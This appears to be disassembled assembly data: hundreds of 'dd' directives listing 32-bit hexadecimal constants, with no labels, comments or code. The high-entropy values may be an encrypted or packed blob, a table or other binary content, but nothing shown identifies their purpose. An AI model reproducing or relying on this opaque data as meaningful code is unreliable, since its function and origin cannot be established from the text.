		dd 0B6C6E82Dh, 0BD03AF11h, 0FE9967B5h, 0DC824FB9h, 0D8070227h
		dd 0F47BBB48h, 0C491B16Ch, 529BF650h, 6AF28042h, 42C76474h
		dd 62FC9268h, 0A4E8728h, 2DA865DCh, 18582EFEh, 50F83913h
		dd 0D1A91C33h, 3311EE96h, 0D8510BE7h, 605CCF5Fh, 24EB9DBEh
		dd 0FF65A892h, 6E7F9C11h, 516298EEh, 51F30AF8h,	96676CE5h
		dd 412D63F7h, 3C2E1794h, 0D8BE42AEh, 3D62B3BFh,	1482779Bh
		dd 0A84E651h, 978199D3h, 3DACA300h, 8DDFB6CDh, 7CCFDEB1h
		dd 0AA0E6826h, 8A3A8959h, 7735808h, 0E3A9D82Ah,	0AC88F993h
		dd 33A2FB0Eh, 0BC3544CFh, 5250D404h, 0D9EB058Fh, 9FD03AE6h
		dd 0FA88B4EDh, 0D196E1F0h, 1F03CD72h, 3F8AE2B0h, 8AC9F808h
		dd 3145F148h, 7F51C20Ch, 0F2C0FC4Ah, 0D7C03174h, 0B4AE1027h
		dd 0BC4AF00Ch, 56857FAEh, 5D735F8Ah, 0AC31D97Eh, 18417557h
		dd 2D8A8340h, 0C3740B12h, 9493C693h, 0B3207937h, 4B476171h
		dd 0E050456Eh, 0B0709557h, 0CB9AFEECh, 0EE79846Eh, 0A39EC5A8h
		dd 697C4C62h, 5F853A4Dh, 0F6121480h, 95163D3Eh,	0B75190E7h
		dd 226C7F77h, 4379273Fh, 783D3622h, 2B8BDB49h, 668155FBh
		dd 1FCD3096h, 0D3F51A97h, 3D0BF343h, 8560D8D1h,	568ACEC5h
		dd 62019820h, 0BDECB071h, 5E5D5F70h, 1033CD5Bh,	28858377h
		dd 0EE68779Fh, 73202FC8h, 0EDF1E999h, 0CF3F3849h, 0EBC5C4F8h
		dd 4EE19F53h, 0C47DDF3Bh, 2BE91B80h, 88E216D9h,	0E791AA53h
		dd 41F2A4CFh, 0A609C084h, 7B781DB6h, 90DDAC78h,	0DAFCCA7Ch
		dd 0D97197E6h, 1EF05337h, 0CA35F322h, 23849B22h, 60D7C4B0h
		dd 0D203BE1Bh, 0B607748Ah, 596E98B7h, 0A7A16BF6h, 9776C972h
		dd 16406129h, 62F0C3ADh, 47E94584h, 4D8F9Ah, 7817DFB3h
		dd 18741503h, 0B671F4E6h, 0CBE287EAh, 0C0F77056h, 4C47D8F1h
		dd 0CD9DE2ADh, 47CF2E1Ch, 39E9932Ah, 3818D1A9h,	45D7A248h
		dd 67E1338Ch, 11334019h, 701DBFC1h, 639C9C1Dh, 2EBD6523h
		dd 0EAC230EFh, 83853469h, 0C38F0E6Ah, 4FFA85B5h, 5A82D03Fh
		dd 0AF3BA2F9h, 0EC3CC3C4h, 0D20CC626h, 99B77B54h, 996395F9h
		dd 818CB0E5h, 0BDE7CA8Dh, 6038996Bh, 99AE5748h,	4D55C2Fh
		dd 0EF7A6D96h, 7B5645AAh, 0DA8F773Ah, 38637FC4h, 7F5EB273h
		dd 0B506D0D5h, 26214951h, 0A6D9F2B3h, 6C0751D2h, 0ACAFA9D9h
		dd 6459AC47h, 8C388770h, 0A046CF51h, 37A814CCh,	4BE90518h
		dd 0E4AEB9EFh, 49F2E6E1h, 5781A3h, 0C24740BBh, 0F9FAC515h
		dd 9D25B1EBh, 98417DC8h, 0F3BEAC71h, 79C93764h,	0FCC327F6h
		dd 0BF615706h, 1E861212h, 5E0BFF02h, 0FC9B41DAh, 73A31F96h
		dd 0F335437Ah, 1DB0C9DCh, 783E6428h, 548D384Fh,	0D359A75Dh
		dd 0E91A3893h, 0B1B0FBE5h, 0FED509A5h, 4F2BFF1Ch, 498AE56Dh
		dd 0E7A6D34Eh, 0D234B157h, 5DE70F3Ah, 2F58782Fh, 60FA64B0h
		dd 6CBB77CBh, 0EA624D05h, 64B414DCh, 0E500CD7Ch, 0F9ED5A50h
		dd 5789C339h, 0F9F1AA8Eh
		dd 6E750693h, 782E641Fh, 405633DBh, 0FC75AE5Fh,	8DA2C93Ch
		dd 58EC88C9h, 194866A1h, 0A20DF0F9h, 0C7981E5Dh, 0F7DA562h
		dd 0E0296116h, 424B6F0Ch, 6A86181Ch, 0A7605D03h, 356988B6h
		dd 1E69D360h, 3FF28F15h, 8EE9C6CFh, 0E0754FEEh,	626C35FCh
		dd 3F5B2229h, 5BE3FA49h, 0C790F07Ah, 0ADA36902h, 4C0CB9A7h
		dd 34C09017h, 2DD87575h, 7E1D4C19h, 3C6CBB38h, 6A53902Ah
		dd 0CFE95A55h, 0DC884B5Ah, 5FE42104h, 9AD63536h, 469F1C03h
		dd 6681410Dh, 0A45C9ADDh, 0A6BC2FB4h, 0A2826D1h, 0E146BF6Eh
		dd 0A45D4128h, 4B3FF8F4h, 6F2788ECh, 1999A521h,	0DACF7E67h
		dd 983E5FF2h, 0EC430AB7h, 6AB5BDB6h, 50E2717Dh,	4DBF2610h
		dd 5816033Dh, 90DDEC01h, 0E344E579h, 0A996408Ch, 795BB55Fh
		dd 0B94ECE89h, 19835886h, 0FFFBCD85h, 1CA4BCD0h, 1AE80CA0h
		dd 7988BC13h, 9F2DDD63h, 0DE76D17h, 775A2B98h, 7AA01BA9h
		dd 27517D25h, 505C532Ah, 58817A71h, 6C883574h, 9C238077h
		dd 7BC8A1BCh, 0E9AFBA7Bh, 0A35D9DACh, 5EF6DDF2h, 68A2A462h
		dd 7249AE34h, 972C3DFCh, 54E88EFFh, 0A8E8BEE3h,	4CD73C07h
		dd 0AF295B09h, 0CD6DABA4h, 61FFADBBh, 4A60CE74h, 12E6A5B2h
		dd 14FEE2F0h, 0D567061h, 249B5E12h, 0F4AFB445h,	0AC58928Dh
		dd 0E0745422h, 36F9193h, 3FD9C1A5h, 34293A9h, 0B6CF45BAh
		dd 1DA5A1F9h, 0C7B874FDh, 596C38E3h, 0F87B458Ah, 59EC76CDh
		dd 54965F24h, 0B1823B7Ch, 0EFA1D690h, 0CA4BCF66h, 90D46B6Ah
		dd 0B2BC1E26h, 0E80C0627h, 65D15B32h, 0FF47FBF1h, 26112793h
		dd 0F7C892F6h, 0AB941E55h, 0C05636ABh, 5D09C77h, 3808903Bh
		dd 56C589C2h, 715EEA45h, 0B23E41B1h, 4CB4CB4Ah,	866D8A52h
		dd 5BFED2Bh, 8E79D20Fh,	12A2876Dh, 0A48F2D7Ch, 95ABAA4Ch
		dd 0D11FE2A4h, 67CA3C08h, 5688C4B6h, 0D736C45Dh, 0AA0515EFh
		dd 54DA9E22h, 86D24AC9h, 0A14610F7h, 6E8F05E3h,	0AB3E5Dh
		dd 0DFDEF8C4h, 99644B49h, 383A337Ah, 0FD89A487h, 0B82E060Ah
		dd 849CF5F5h, 4FE1BD0Eh, 0DC623126h, 0C427B109h, 0A97ACDE3h
		dd 96218D67h, 67C7E977h, 4A01BB71h, 25983CD1h, 0DE3A1063h
		dd 0EE961CBBh, 33EF41D3h, 0DCD4A82Fh, 61972378h, 898C67B7h
		dd 0AC0A1C6Dh, 0D845A329h, 9066CBE4h, 0C8E95498h, 0FCBF5609h
		dd 662955B5h, 3402946Ch, 0A4C82D49h, 42BBDCE7h,	9326947Ah
		dd 0B8D87F7h, 0C568D741h, 1DCDE15Ah, 54E7BA05h,	0A314ACBCh
		dd 0EA151C8Eh, 0E5AC11B9h, 0C8F8907h, 0FFFACA33h, 692C25A5h
		dd 0EC41B8D9h, 0A72964E9h, 44AD20D6h, 63063825h, 1B71E294h
		dd 0B031C96Ah, 1D27282h, 0CCC9B08Ch, 45EA128h, 0C139C1DAh
		dd 0C0CEB888h, 2B101D69h, 5245104Eh, 4767A95Fh,	0E1192A29h
		dd 0D87421D7h, 882F1660h, 1D03F4BEh, 0D2D29D2Eh, 0EB122664h
		dd 0C418544Ah, 0BE5CA020h, 153658DCh, 0C65A3D34h, 0A881026Ch
		dd 7BFAFE25h, 0B94C613Ch, 0E989D819h, 6AB8CAEEh, 0EA78B0E0h
		dd 31768455h, 0F3D653DDh, 0F7CC565Ch, 364A1400h, 0EFAFD583h
		dd 537C2ED4h, 5FDC9592h, 0A310B0C4h, 0DA44822Eh, 6CF8D57Fh
		dd 2E4EE615h, 0BC38BF19h, 1B8DA5BEh, 0AB44C954h, 0E8157A41h
		dd 95AB7A2Dh, 5E635554h, 65C803AAh, 55992B9h, 0CDB341E1h
		dd 0E91A1F04h, 8BAADB62h, 6B6D6D84h, 43B131DCh,	0E3613574h
		dd 559A324Fh, 3D76984Ch, 3EF92579h, 34F8DD7Bh, 6D43B6Ch
		dd 8760E13Bh, 0C4EF7BC3h, 0D0579404h, 0CFF12FE6h, 0AED641E5h
		dd 42CB77A9h, 24BF265Bh, 5AD0572Ah, 9A66C646h, 4BE4A627h
		dd 9636CA76h, 0BCBF0928h, 0F0F5B45Eh, 456D6A59h, 5469D5FAh
		dd 79368D5Eh, 0C5984578h, 4DA3B533h, 65D0E11Ah,	0BE696C19h
		dd 97FA02B3h, 16333B9Ch, 355CE01Dh, 40C0F553h, 0D9F43A0h
		dd 81527D0Fh, 0E1C7C84h, 8F89733h, 2A25CFEDh, 4D94DDDEh
		dd 0B4F630FAh, 2EF312CBh, 28EEB998h, 1F500CB5h,	0F320A41Eh
		dd 24239BC1h, 99CF3935h, 0A1231671h, 0DE157426h, 9822A784h
		dd 4149BAE2h, 297D28C5h, 617E00C2h, 90F42E45h, 0D7893EBDh
		dd 0E92C3B71h, 0DFDB211Fh, 0DCB887C0h, 70C3AF07h, 1936AB2Fh
		dd 277B9737h, 1595642h,	5BD0BBBBh, 57C76809h, 9B4A509Ch
		dd 0D80C1602h, 7EB02073h, 3DE612Dh, 545FE300h, 0E7E6D0A9h
		dd 72F1F360h, 4326882Bh, 6B57246Dh, 0B848DF84h,	0EA81FED0h
		dd 4C3D6BEAh, 5F9807B1h, 47486C3Fh, 2640AF53h, 5E1A039Eh
		dd 253063E4h, 0A9660DAh, 0ADF14904h, 6644D649h,	4E2199E6h
		dd 40C6ED17h, 1213E13h,	0BD620A0Eh, 4CD4F107h, 8AF919C9h
		dd 0CE492CE5h, 1C022904h, 8CB909E7h, 0C5462A19h, 710E209Fh
		dd 34669A60h, 8B375361h, 0AEA15C96h, 0B572B2A9h, 95ADDF96h
		dd 0F1509E89h, 0BEAA3F5Dh, 0C5C226A9h, 7117522Bh, 0CA4CA190h
		dd 0AC984231h, 1744F025h, 0D0C6C0F1h, 83E1A0B8h, 0AA4522DEh
		dd 0F896C7DEh, 212E414h, 16B0345Eh, 64CA00ACh, 61D12D99h
		dd 0EAF8F79Ah, 42A22381h, 0E7E86736h, 98FE2E37h, 0E53209B9h
		dd 43A2BFFAh, 388C6CE7h, 49D8A32Eh, 35F431Dh, 0EB995CB2h
		dd 62AA8716h, 4553C9Fh,	6468025h, 0BA376826h, 0DC1BC1ECh
		dd 685F6540h, 8871F79Ah, 0C7EF8AAAh, 52ACF8D5h,	4D428437h
		dd 4E7B030h, 0AE542A3Ah, 7ACB053Ah, 9F267A87h, 4EFB464h
		dd 8E203F5Ch, 0ECFBD743h, 2E27C093h, 15AF6110h,	0E409F6A0h
		dd 67BA8AEFh, 6748370Bh, 98956BB2h, 8DB9DDFAh, 0AEED66A5h
		dd 6DDD567Fh, 51D713DFh, 3AC7BB94h, 0E2732543h,	9F9F60B3h
		dd 0BF103BB0h, 4E766C57h, 148EC674h, 9C8921CEh,	0AB03BF44h
		dd 655535ADh, 0CD2A7C78h, 2009A28Ch, 7221711Eh,	7917C7BFh
		dd 2F95CCFEh, 22A078CDh, 97748D8Ch, 44A851B5h, 0B1B77E5Eh
		dd 0D811B9D4h, 6CCA242Ah, 69F6A8E1h, 15303588h,	78F4CE7Fh
		dd 7ACB2C62h, 0FDF70D39h, 3187A130h, 0EA5C4405h, 0A6B1B005h
		dd 0B5BB9F4Eh, 8A240A2Ch, 0FD86452h, 163843Ah, 10D2CF3h
		dd 5FCA4C71h, 0C5D3896Ch, 7DD9030Dh, 728F9F13h,	0DAF1FFDBh
		dd 1F4D5AA9h, 0EF9AE068h, 26805ED2h, 8466557Bh,	0D6DEC770h
		dd 0DE0E44E3h, 0FC32B319h, 0EBD4E397h, 0E1C032CDh, 0D93E2DB4h
		dd 0F158C561h, 0F1EF047Ch, 2E2074Eh, 7275720Eh,	9FACD0Fh
		dd 598DABCAh, 926BFB04h, 0E0B8D9D9h, 0FA61C5DCh, 0D100EAE7h
		dd 233833DFh, 0FAB9BE24h, 6E7BAAC3h, 0FCC726ECh, 7772AFDEh
		dd 1A4435Bh, 0EA0BE890h, 0E428F3A1h, 939E5D0Ch,	64871130h
		dd 4321332h, 44E1C11Ch,	0C07A1076h, 0FC8A98FFh,	4EE04F7Bh
		dd 0DE3E311Eh, 0B5A03994h, 0CBF266C3h, 0E81E64E9h, 0E346F28Fh
		dd 0C674429Fh, 3F961031h, 0BCC522DAh, 0A6AE43F9h, 64536EE1h
		dd 0E738D9D7h, 7AE06F8Ah, 848F8BBAh, 6169922Ah,	894C9629h
		dd 0B0C11D3Fh, 52040B83h, 8412B81Ah, 7308097h, 83B3345Eh
		dd 1F92F587h, 11EDFA1Dh, 0B3F06F50h, 0CE57D0Ah,	66E7CFFFh
		dd 0F38765B0h, 6F6D8A27h, 5E8E2F2Eh, 64B261E8h,	1CC0CB0h
		dd 0C9F3F554h, 267A15F5h, 0F5E35673h, 9D413E84h, 1C78FF59h
		dd 0FDACC846h, 0EB96AB98h, 0BAC4D65h, 4F47AA5Bh, 0BA307EBFh
		dd 57CD92AAh, 1A6781F7h, 0A01270BCh, 0B9E2B879h, 0B9C47FC8h
		dd 6971D83h, 69F6FA03h,	818D2BE3h, 7D228F5Bh, 0C80B7423h
		dd 0B440C082h, 0A0EFC523h, 258B8CA8h, 0A8495047h, 0BB28C6A8h
		dd 521D7A5Bh, 3D921DEBh, 9A3566ECh, 0DE9D7FF2h,	5672F15h
		dd 322B230Dh, 18718A0Bh
		dd 21DBBBE7h, 0DC7A513h, 1EBC567Dh, 0EE034E74h,	5B479B45h
		dd 4BAE1DBh, 0C66D3E5Ch, 8C54D26Ah, 0D4F8473h, 0A8A6A4B1h
		dd 1CA4270Eh, 0F0979D26h, 0A1AFBA96h, 0BCD4C340h, 0B03B2D43h
		dd 2BC68D4Ah, 2A4698A7h, 2542DB9Fh, 944FED4h, 70FB6558h
		dd 7E9FECC9h, 563685CCh, 2EA99CBAh, 2DD4E099h, 4B89978Dh
		dd 0D96CD6C9h, 0D47D6507h, 0DA20E6DEh, 8018F223h, 2F53ED7Ah
		dd 778FBD41h, 45A7087Ch, 0CBBA27DCh, 0C8797F2h,	8AA92D09h
		dd 2C7C3EB1h, 11C37146h, 0C59C0B12h, 0A9AD5A96h, 32A5B704h
		dd 8C33E6DBh, 2519105Fh, 0C8BFAF4h, 6C08D8B7h, 78F86B52h
		dd 153432C7h, 823FE5BFh, 0BE162241h, 6B7F6778h,	0FD17A2B8h
		dd 0C4B1D398h, 0E7817715h, 32C0D19Bh, 0F1E1FBA8h, 0E57C4B4Bh
		dd 0CF955FDFh, 5B0A033Fh, 0EA2B5816h, 0ACF35BBBh, 4A07D61Fh
		dd 0D0FDF75h, 0BA1E5918h, 0A412FC98h, 0BA8C3621h, 7A3B6B8Fh
		dd 0CA99672Eh, 0D1165084h, 613AF10Dh, 5C7FC2F3h, 1E3854Dh
		dd 7A8CA250h, 0AF3A5833h, 0DA6FA761h, 0B6A8A1CEh, 0ECBE7B94h
		dd 6D8617CEh, 0F81E0BA2h, 0A7EE4F9Ah, 0D25C0DB0h, 5B15009Fh
		dd 5B71147Bh, 0B6D9EA40h, 7E9B4045h, 0EA82191Dh, 0B614B24Bh
		dd 27B7C2D6h, 32E09660h, 8994E9A2h, 3F0AF46Dh, 64E7AAFAh
		dd 174E60DDh, 6B9F40AEh, 2CC40367h, 401E3837h, 951383ECh
		dd 0AF2CFFA4h, 0D2266B25h, 714293h, 7BA0FD9Ah, 48F3342Bh
		dd 76225DB3h, 250C4348h, 0D382A2A3h, 43102A56h,	1D73C450h
		dd 0B05FBF05h, 7B0D82ABh, 5836AE7h, 0C10C0A6Eh,	9793CB50h
		dd 7BB950C6h, 239FE33Dh, 0DBCB1D00h, 3C1AE33Dh,	98D805E7h
		dd 8D4D6D44h, 3A47C787h, 1DC0A621h, 18C2AD78h, 0B7E59DA5h
		dd 0B4BF3CA0h, 0EB78E0F5h, 2F5AF05Bh, 0FBCF24B8h, 737F231Fh
		dd 0ABF33E52h, 0BD357B36h, 0E5D2A847h, 0B68FFC4Fh, 5DA49FA7h
		dd 0E1237306h, 5E55261Ah, 5754B59h, 273E4A61h, 59DCF264h
		dd 0A0DD976Ch, 0B63EC217h, 5961E312h, 6713FB25h, 0D442317h
		dd 0D9BC855Ch, 0BC306FB7h, 3E1277CCh, 0DFF18FAh, 9E412ABFh
		dd 9E2B902h, 0E07FDC2Ch, 2CB8AA22h, 0F18BD0C0h,	42804440h
		dd 836CB0D7h, 8326F138h, 9C4ED9DDh, 8B60E40Eh, 0FCAFB2C0h
		dd 0B7FB0298h, 58FB6875h, 0FD5D884Fh, 13600BE4h, 9747A0C4h
		dd 9C307429h, 401C2AE8h, 0DA755F39h, 7812B6h, 1518530Ch
		dd 0B86301B4h, 72144C03h, 0FA9AEFCEh, 0E3690E95h, 0A501CEA4h
		dd 0B2503730h, 0F5B37CE7h, 323CE3h, 79913A58h, 76EC0601h
		dd 0B5C01FFBh, 0AAB8905Ah, 9395B4F0h, 14990B21h, 0E98F0BA2h
		dd 80053B6Ch, 0A5EE5F55h, 347018E1h, 0DCF04E96h, 0D5170B23h
		dd 0E0B0AF66h, 60FDEE7h, 77398669h, 0F2331468h,	2D352DDAh
		dd 73699C7Bh, 43E555A7h, 750A0601h, 0EDF16C8Fh,	0AB7837C8h
		dd 1EA649BEh, 0A27370A8h, 43D80672h, 0E5AB07F9h, 5E882BE8h
		dd 290ED5E3h, 0F8E5ED21h, 3FF7BFh, 7DFF80D8h, 0BDCA5D0Eh
		dd 2EF7E741h, 6DF552BEh, 0B2CB4420h, 0E3BBF295h, 1B485A15h
		dd 6B3D430Dh, 0FD1F6914h, 739BD2A1h, 56E3AD80h,	2F6445D2h
		dd 0B4F51EB3h, 0CF395F5Ch, 0E4721210h, 63C87093h, 0D17F2F6Fh
		dd 3959DDACh, 0CA34F167h, 0D6013514h, 3A2BB9E3h, 0D435614h
		dd 52BD468Ch, 0BAE158FCh, 670036CEh, 969115C7h,	6A09CA7Fh
		dd 58319A39h, 69C4F3CBh, 44A9A604h, 12E23F8Eh, 0B97C796Fh
		dd 19A51C76h, 3F1FB215h, 0AEF841C9h, 0E343CEC5h, 0A7D5A5DDh
		dd 160BCFA8h, 0DAD26531h, 0F0A5557Ah, 66A8F9BEh, 6B167F20h
		dd 0D8724D47h, 0AAE69BD6h, 0F61E3ABFh, 0B57A9142h, 8755D704h
		dd 0C02C3E22h, 0F4C0808Dh, 98782586h, 4E9DDD53h, 0C3662C24h
		dd 0F9F854E7h, 0B0BBAF0Ch, 0DAEC6EE6h, 2ECB3A9h, 0C754EA67h
		dd 0DAC981F1h, 4CD1F9BCh, 271442FBh, 96AD9F63h,	0CAB27FEDh
		dd 81F2FD94h, 3744EE49h, 3A94B75Eh, 0F5E5F553h,	61050E56h
		dd 4A065FD0h, 807A06FBh, 0D3879D1Bh, 0FCCD3730h, 4B875A4Ch
		dd 69CA2858h, 70D738A5h, 0ABE19C79h, 0D3441BFCh, 0D5C2EEF2h
		dd 3835628Ah, 67E1EC72h, 911589CAh, 9B9BB7F7h, 675A1731h
		dd 0C815E3AAh, 807A9893h, 208323A8h, 0C500F75Eh, 2026A2B9h
		dd 87FB6B42h, 0BB15C09Bh, 6C1F66A9h, 7B9A475Eh,	0B58F8F8h
		dd 0B3D49DB5h, 38419D73h, 0B81FCAB0h, 61386420h, 0B0880BC6h
		dd 0D1BDC6A6h, 940F07EFh, 6A662C7Fh, 0DFCA0257h, 2DE033A9h
		dd 3109BCDCh, 6AEF0566h, 30EAD871h, 941E380Bh, 1631E0F0h
		dd 0A6FC8365h, 99C450CCh, 0F26C4822h, 0D01C5874h, 0CCAECCADh
		dd 0B276422Fh, 0C5157724h, 725C8547h, 3038D3D4h, 6A23F15h
		dd 1A333C5h, 384F0364h,	0D53F0669h, 0C9004DAAh,	31999422h
		dd 0D7830AE2h, 7534D4EDh, 7930E071h, 557A98B9h,	5E678C71h
		dd 82AC3742h, 8B426B16h, 291A379Ch, 0F5B69FF5h,	0A43C253Ch
		dd 67C24A41h, 7D3810ABh, 0ACF64B80h, 0B4A688B4h, 9B540B5h
		dd 0E9B97D91h, 0D4F507A4h, 5C405B9Fh, 117056EEh, 0A99B7423h
		dd 1A2333F1h, 0C9004EFAh, 48DA9733h, 562A3C30h,	8F032ED2h
		dd 7C0DF50Dh, 271CAC3Ah, 3BB53618h, 0F46A8E4h, 33ABE12Bh
		dd 0CC954852h, 0CF0A6DE9h, 92D201A9h, 0F525F98Eh, 0DB43977Fh
		dd 76A2D416h, 84B8C1DEh, 9C28C9BEh, 37E55639h, 66BE539Ah
		dd 29F3992Eh, 77135DE1h, 16FFE3B5h, 9AA5C313h, 0C893E82Fh
		dd 59EAC623h, 1A49FD0Dh, 0BBCB1DF4h, 20057E65h,	0C3EDE487h
		dd 1FEAA405h, 3248D050h, 515AB1A6h, 701F8B94h, 674F4474h
		dd 0F521DCE2h, 19DD2B1h, 0EBF4682h, 26BD4865h, 80893833h
		dd 0A346B676h, 26A47D32h, 8AE196FBh, 0BD7B35D1h, 7E2E60E8h
		dd 1B20AAC8h, 7AE21298h, 0D16F37CFh, 6105E77Eh,	0E67A157Dh
		dd 53F5019Bh, 0B6D708D4h, 430F9C98h, 62F1D7A1h,	0D0991A06h
		dd 0D30375D7h, 97AC6E60h, 0A00414F1h, 0BCE4DFF0h, 6A66E339h
		dd 3B562734h, 2E303BEBh, 6B724363h, 0C4B14B4h, 0B73E5D89h
		dd 63E96686h, 99BEA3F2h, 12A2126Bh, 0A0D92586h,	7B3B1704h
		dd 48B36D51h, 9442B1DFh, 8C6BC3BAh, 83E11BCFh, 9CFCD56Fh
		dd 477CA7D7h, 5B5C0D4h,	0E3CD91F8h, 2E1E8363h, 2303D8Eh
		dd 0FB81578Bh, 0C37740F1h, 1AD21242h, 20E6DC0h,	0E57F91EEh
		dd 67124A65h, 0F55D2032h, 0E2B387A5h, 985291B9h, 0FC6D83DCh
		dd 6DD698BFh, 0D8F75CCCh, 59A286B8h, 0F74C8B67h, 0BCDA8D6Ah
		dd 664E319Dh, 0F268105h, 65818E0Dh, 9C3D81B3h, 0A3E428D3h
		dd 0C29B7D25h, 7EC05E0Ah, 18C54D9Fh, 83BB5F62h,	0BA07A272h
		dd 0C64A0A04h, 518E5C23h, 4F349019h, 890233F8h,	0F56A20F3h
		dd 0B209F1E6h, 0A436145Fh, 3F111650h, 6FD6649Fh, 1E331B5Dh
		dd 7080F8A6h, 925C2B2Fh, 0D967032Eh, 6C6B35BCh,	5B08EE04h
		dd 278E166Bh, 8E2F803h,	7C80D02Dh, 0F4652338h, 0E0680B3Ah
		dd 370F7BBDh, 2A03871Eh, 0E7981F08h, 0DAD54FFAh, 37AEF086h
		dd 2222133Fh, 62484D91h, 0E7C420A3h, 45927174h,	0C1ABFA12h
		dd 9C0C7BFh, 0B66C08D9h, 0D31349F0h, 0E24F547Bh, 0AB25DCE2h
		dd 85A8F10Dh, 27C9D0C4h, 6B1EA38Ah, 1C3CBAA0h, 559ECEDh
		dd 391EA1FDh, 6D565279h, 8B1F10E1h, 8C9D832Eh, 963A1B86h
		dd 0B0D2DDC3h, 0B9D1562Ah, 8FA8DC18h, 0C41158B7h, 852562DCh
		dd 5E8D6CF1h, 899F6EC0h, 95E4C0B4h, 0C6DA2A7Ch,	6934E1B9h
		dd 764F0C1Bh, 0ACFE452Bh, 0FAD03B57h, 707EDE48h, 0F6F1B920h
		dd 0D6D583E3h, 13D286ABh
		dd 345EFFABh, 88FCBDAh,	859EF4E7h, 0BF6549BAh, 0A5A33D71h
		dd 7705B118h, 4CC3D31h,	57E72D0Dh, 0B78E33A6h, 0CE7553DFh
		dd 0A0D78DD6h, 0BDA5211h, 702B9348h, 0DC628034h, 0F6560064h
		dd 33121B69h, 0CCC10EC4h, 2E8543AFh, 0CC683D38h, 0B1993AC9h
		dd 4007D65Fh, 65DF43EBh, 24CFC20Dh, 0BF32E0FEh,	9DCC8007h
		dd 0E08A8AEFh, 84B846A5h, 0C93F744Ah, 93B43E34h, 7BEBA6D5h
		dd 0CA642764h, 4344CBC1h, 0CBA15C53h, 0DCFB89B0h, 63377031h
		dd 0D7B5F92Fh, 7D72D4C4h, 405A1DF4h, 0DC53C1B8h, 0C305C10h
		dd 0AB6EDEA5h, 63D829DAh, 77D6416Eh, 0C142B049h, 1F2972B8h
		dd 1CA4FDB9h, 0C6AB04A3h, 0DCCFDD66h, 0AEFB426Ah, 82560D58h
		dd 37DD6410h, 7F954A00h, 0A8F0DAE2h, 0EE5845A8h, 590EC972h
		dd 0CF5C2752h, 8AFA371Fh, 0BBD29B5Bh, 0BD00B308h, 889DA5CFh
		dd 0E4AA77EEh, 0B220697Bh, 9960F2ACh, 0EE05DDFAh, 0D870170Eh
		dd 37D9FA9Dh, 4884D5Ch,	20E0443Eh, 0F32FBFECh, 52C0BB52h
		dd 86E06C1Ah, 19160B2Ah, 6E4E8431h, 79A8534Fh, 5368FD58h
		dd 92E8E4h, 0E41D3A55h,	45CB0D1Bh, 745CF766h, 2486CB47h
		dd 0E99327C2h, 0F1B343D5h, 1D94B10Ah, 2B84BD7Ah, 442D06EDh
		dd 0B7D09A08h, 0A0C1A24Ah, 1D046A58h, 34DA70E4h, 411D03Bh
		dd 1F570B74h, 0BBB28D2Ch, 0F15ED63Ch, 60333815h, 825543ABh
		dd 73C28F7Ah, 9A58CB07h, 38737766h, 6EA98D38h, 0B5B70979h
		dd 0AE7C6D6Fh, 0A80B1336h, 60E1E6DFh, 0E258FDA9h, 0E82AD263h
		dd 0D0F3CA23h, 0D553ECC5h, 997E16AFh, 41BE4530h, 1AB6C11Ch
		dd 0B47C1EB7h, 0A776C073h, 0A0B61322h, 2B4D0EFAh, 0A913F4F1h
		dd 0A0F0DA5Ch, 1FDC05ABh, 5347ABB6h, 0BF8ABFC5h, 40A1A451h
		dd 595851A2h, 71104E19h, 8E5AF6B1h, 9402773Bh, 84B7DFD5h
		dd 0B29D6E2Eh, 4473820Ch, 781A51B8h, 5DA1EC1Eh,	432D359Dh
		dd 0D115DC96h, 0A1C98C4h, 0AFE1323Bh, 0FF3CD479h, 7CE1C1B2h
		dd 0B8E41767h, 9346DE54h, 0A136BF4Eh, 0BF17C23Dh, 0B34325D3h
		dd 0E1D1F10Bh, 0EC218836h, 0C54173C9h, 7468AFE8h, 989EA39Ch
		dd 508787C8h, 4B110A12h, 55191551h, 1077A1E1h, 0E5C25DEBh
		dd 0B0EAC6FFh, 9AF890D2h, 0C20447A7h, 1B21B6C3h, 97E493D0h
		dd 0C0222949h, 1FFE10BBh, 8A0F946Dh, 0FA81E51Dh, 0FCDF4C7Bh
		dd 2A6DB454h, 62ECA8E5h, 17E6A1CEh, 0B5CAA6BFh,	0DE008B62h
		dd 38645AA9h, 342909CEh, 0AA72BE78h, 0D69A613Dh, 2BFAEBA4h
		dd 0EE707E4Eh, 0A3FFA167h, 0B6F3EBD8h, 77DF8197h, 9E2D2645h
		dd 216553Bh, 8C817F94h,	5F88A78Ah, 0AA3CA50Ah, 0D9B41D3h
		dd 0D7041251h, 5A668AF8h, 1409A8A9h, 0C7B8FEAAh, 0CC1261B9h
		dd 2E50656Ch, 3A9ACBEFh, 301D74A2h, 1D776A9Eh, 426FA730h
		dd 2F56C489h, 7D30F095h, 4BD87B69h, 0DF84FA6Ch,	6908507Ch
		dd 0CCBFC8CBh, 4B6E2D2h, 710EAE73h, 0A7664AE3h,	68C0D958h
		dd 0A07E9315h, 1E90D4E5h, 97B54C8Eh, 0F0BF323Ch, 130EACCDh
		dd 7BB9041Fh, 0EDF12393h, 5DF0156Dh, 835C8BF2h,	19958FC1h
		dd 0AFF55BE9h, 7197F1Dh, 9056AAC1h, 0E25D5DD5h,	5863ECDAh
		dd 820785C1h, 86EEDB7Bh, 3D357FEAh, 8958F270h, 6D78042h
		dd 85AFDACh, 0E73A5A60h, 0C95D3C28h, 0A61278FBh, 34743264h
		dd 273BA15Eh, 0E10BB556h, 2BA3313Ch, 9555CCFAh,	0B4744C13h
		dd 8482344Eh, 0AF428D50h, 0E56D1499h, 86822ABh,	0B6E8E0Dh
		dd 0E2812BC8h, 0A19A9DE8h, 44B4219Eh, 3DEB4BB7h, 59731ABFh
		dd 73761BD9h, 0EAD62EFEh, 0D7B6E222h, 88858164h, 0B95981FDh
		dd 9FE5B735h, 1BC8DD87h, 1F655626h, 3B57C75Ch, 952DD893h
		dd 6B8F1553h, 0E08667A4h, 99CE707h, 0A96BC9A9h,	0A3B01A6Fh
		dd 8FD40E96h, 2A0F2961h, 9399AA73h, 0EE30AEC5h,	0E37A75C3h
		dd 0EAC27A9Eh, 58BA3473h, 3419EF78h, 6198DF30h,	3A0AB3E6h
		dd 7E3BC356h, 378BCA94h, 40E4DFEEh, 697A5913h, 0C9551F1h
		dd 310AE19Ah, 0B4AD6F11h, 4547E14Bh, 24FE6F05h,	42C3D6BBh
		dd 1AD3EE3Ch, 0D066B69Dh, 1896C1F8h, 2F9EFDA7h,	0D4ED151Ch
		dd 794955E5h, 0B3528C00h, 3F2A5CB6h, 0ADC7D237h, 93FD258Ch
		dd 7572AF0Dh, 0D226998Ch, 21ACEFB7h, 0A5522F9Ch, 0D525D5DBh
